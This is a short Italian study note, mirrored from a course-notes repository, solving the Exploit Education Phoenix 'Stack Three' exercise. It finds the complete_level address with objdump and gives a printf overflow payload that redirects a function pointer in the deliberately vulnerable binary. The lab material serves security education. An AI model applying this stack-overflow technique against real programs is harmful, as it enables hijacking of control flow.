mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-25 03:34:17 +00:00
20 lines
No EOL
457 B
Markdown
20 lines
No EOL
457 B
Markdown
# [Stack Three](https://exploit.education/phoenix/stack-three/)
|
||
|
||
Per fixare `gdb`, usare:
|
||
```bash
|
||
export LC_CTYPE=C.UTF-8
|
||
```
|
||
|
||
Usando `objdump` si può trovare l'indirizzo della funzione:
|
||
```
|
||
000000000040069d g F .text 0000000000000018 complete_level
|
||
```
|
||
|
||
L'indirizzo è quello nella prima colonna, `000000000040069d`.
|
||
|
||
## Soluzione
|
||
|
||
```bash
|
||
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||
a\x9d\x06@' | ./stack-three
|
||
``` |